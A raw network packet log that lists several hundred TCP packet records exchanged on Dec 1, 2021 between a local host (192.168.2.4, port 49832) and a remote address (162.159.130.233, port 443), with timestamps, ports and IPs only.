Dec 1, 2021 09:15:22.926760912 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926800966 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926841021 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926853895 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.926870108 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926927090 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.926975012 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927031994 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927087069 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927098989 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927114010 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927148104 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927227020 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927265882 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927304983 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927315950 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927336931 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927367926 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927437067 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927474976 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927545071 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927556992 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927576065 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927615881 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927622080 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927644014 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927683115 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927692890 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927716970 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927727938 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.927747965 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.927789927 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939500093 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939551115 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939611912 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939632893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939649105 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939691067 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939697981 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939718008 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939744949 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939769030 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939805031 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939815998 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939867973 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939870119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939889908 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939917088 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.939953089 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939986944 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.939996958 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.940049887 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.940716982 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.940757990 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.940814972 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.940829992 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.940911055 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.940917969 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.940988064 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941026926 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941068888 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941081047 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941104889 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941143990 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941214085 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941250086 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941297054 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941307068 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941345930 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941355944 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941446066 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941485882 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941553116 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941564083 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941601992 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941621065 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941669941 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941709995 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941762924 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941773891 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.941797018 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.941832066 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942054033 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942091942 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942145109 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942154884 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942203045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942209959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942306042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942342997 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942425966 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942437887 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942497969 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942521095 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942558050 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942605019 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942615986 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.942632914 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942737103 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.942950964 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943104982 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943201065 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943305016 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943500996 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943538904 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943586111 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943603039 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943617105 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943643093 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943658113 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943670034 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943689108 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943706036 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943738937 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943748951 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943763971 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943773985 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943808079 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943814039 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943830967 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.943865061 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943877935 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.943918943 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944087982 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944128036 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944165945 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944181919 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944199085 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944255114 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944387913 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944428921 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944503069 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944519997 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944535017 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944591045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944616079 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944653988 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944710970 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944724083 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944740057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944786072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.944880962 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.944921017 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945019960 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945034981 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945054054 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945094109 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945270061 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945307016 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945368052 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945383072 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945399046 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945466042 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945622921 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945662975 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945715904 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945727110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945745945 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945792913 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945852041 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945888996 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945941925 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.945954084 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.945967913 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946006060 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946038961 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946078062 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946177959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946191072 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946204901 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946248055 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946523905 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946563959 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946614981 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946629047 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946645975 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946681976 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946687937 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946702957 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946729898 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946752071 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946784973 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946796894 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946814060 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946868896 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.946960926 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.946999073 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.947041988 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.947053909 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.947097063 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.947362900 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.947438955 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.947458982 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.947477102 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.947493076 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.947504044 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.948492050 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.948532104 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.948581934 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.948602915 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.948618889 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.948734999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.948771000 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.948821068 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.948837996 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.948852062 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.948987007 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949026108 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949070930 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949094057 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949107885 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949304104 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949352026 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949385881 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949399948 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949459076 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949544907 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949580908 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949620962 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949635029 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949651957 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949754953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949790001 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949832916 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.949842930 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.949856043 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950076103 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950126886 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950171947 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950191021 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950206041 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950392962 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950429916 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950511932 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950525999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950608969 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950647116 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950690031 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950704098 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950720072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950795889 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950841904 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950910091 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.950927973 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.950973988 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.957355022 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.957381964 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.957474947 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.957489014 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.957536936 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.957566023 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.957587004 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.957637072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.957644939 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.957691908 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.959395885 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.959419012 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.959515095 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.959531069 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.959552050 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.959650993 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.959671974 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.959722042 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.959728956 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.959753990 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960131884 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960154057 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960220098 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960233927 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960258007 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960378885 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960400105 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960462093 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960470915 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960506916 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960577011 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960598946 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960673094 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960686922 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960736990 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960818052 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960839033 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960886955 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.960895061 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.960910082 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961071968 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961097956 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961168051 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961182117 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961190939 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961302042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961323977 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961374998 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961383104 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961394072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961545944 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961568117 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961613894 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961622953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961649895 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961751938 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961772919 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961842060 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.961852074 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.961992025 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962013960 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962058067 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962066889 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962091923 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962373018 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962394953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962466955 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962476015 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962543011 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962610960 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962634087 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962680101 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962692022 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962713957 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962838888 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962862015 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962913036 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.962923050 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.962954998 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.963164091 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963187933 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963296890 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.963309050 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963334084 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.963501930 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963526011 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963581085 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.963598013 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963613987 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.963774920 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963799000 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963849068 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.963860989 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:22.963876963 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:22.964056015 CET	443	49832	162.159.130.233	192.168.2.4
